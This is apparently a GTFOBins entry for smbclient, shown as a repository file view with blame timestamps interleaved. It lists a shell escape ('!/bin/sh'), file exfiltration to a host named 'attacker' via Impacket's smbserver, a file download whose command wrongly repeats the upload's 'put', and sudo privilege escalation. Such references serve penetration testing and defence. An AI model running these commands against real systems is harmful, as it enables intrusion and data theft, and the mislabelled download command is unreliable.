GTFOBins.github.io/_gtfobins/smbclient.md

21 lines
760 B
Markdown
Raw Normal View History

---
description: A valid SMB/CIFS server must be available.
functions:
2018-10-05 19:55:38 +02:00
shell:
- code: |
2019-03-10 20:08:17 +01:00
smbclient '\\attacker\share'
!/bin/sh
2019-03-10 20:08:17 +01:00
file-upload:
- description: Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to collect the file.
code: |
smbclient '\\attacker\share' -c 'put file_to_send where_to_save'
file-download:
- description: Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to send the file.
code: |
smbclient '\\attacker\share' -c 'put file_to_send where_to_save'
2018-10-05 19:55:38 +02:00
sudo:
- code: |
2019-03-10 20:08:17 +01:00
sudo smbclient '\\attacker\share'
!/bin/sh
---